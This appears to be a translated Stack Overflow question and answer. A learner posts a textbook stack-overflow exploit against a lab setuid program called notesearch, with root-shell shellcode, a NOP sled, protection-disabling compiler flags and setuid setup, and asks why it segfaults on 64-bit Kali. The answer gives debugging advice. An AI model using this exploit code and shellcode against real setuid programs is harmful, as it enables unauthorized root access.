所以,首先,我在Kali 2020.1上,完全更新了。64位。源码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "hacking.h"
#include <unistd.h>
#include <stdlib.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
long int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (long int) &i - offset; // Set return address.
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
} 现在,一些重要的澄清。我包含了所有这些库,因为编译在没有它们的情况下会抛出警告。前面的notetaker和notesearch程序,以及这个exploit_notesearch程序,在终端中编译如下:
gcc -g -mpreferred-stack-boundary=4 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack -o exploit_notesearch exploit_notesearch.c 我不再记得源代码说我必须以这种方式编译(对于它们来说,首选的堆栈边界是2,但我的机器要求它在4到12之间)。此外,正如您所看到的,堆栈现在是可执行的。
所有3个程序(notetaker、notesearch和exploit_notesearch)的权限都进行了修改,如本书所示:
sudo chown root:root ./program_name
sudo chmod u+s ./program_name 我尝试了这个链接中的解决方案:Debugging Buffer Overflow Example,但是没有用。这个链接也是如此:Not So Fast Shellcode Exploit
在终端中使用for循环以增量1、10、20和30递增地将偏移量从0更改为330也不能解决我的问题。无论我做什么,我都会得到一个分段错误。
在我的情况下,问题可能是什么,克服上述问题的最佳方法是什么?谢谢。
附注:我记得我读到过,我应该使用64位的外壳代码,而不是提供的。
发布于 2020-06-19 02:42:29
当您执行segfaulting时,最好在像GDB这样的调试器中运行它。它应该告诉你你在哪里崩溃,你可以逐步执行并验证你所做的假设。最常见的段错误往往是无效的内存权限(例如,试图执行不可执行的页面)或无效的指令(例如,如果您在sled代码中间,而不是在NOP sled中)。
在尝试将利用漏洞转换为在32位上工作时,您会遇到一些问题。当用返回地址填充缓冲区时,当64位上的指针实际上是8字节时,它使用常量4。
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;在尝试利用strcpy错误时,这也会带来一些问题,因为这些64位地址将包含空字节(因为可用地址空间仅使用8个字节中的6个)。因此,如果在实际覆盖堆栈上的返回地址之前有一些过早的空字节,则实际上不会复制足够的数据来利用溢出。
https://stackoverflow.com/questions/62283563
复制相似问题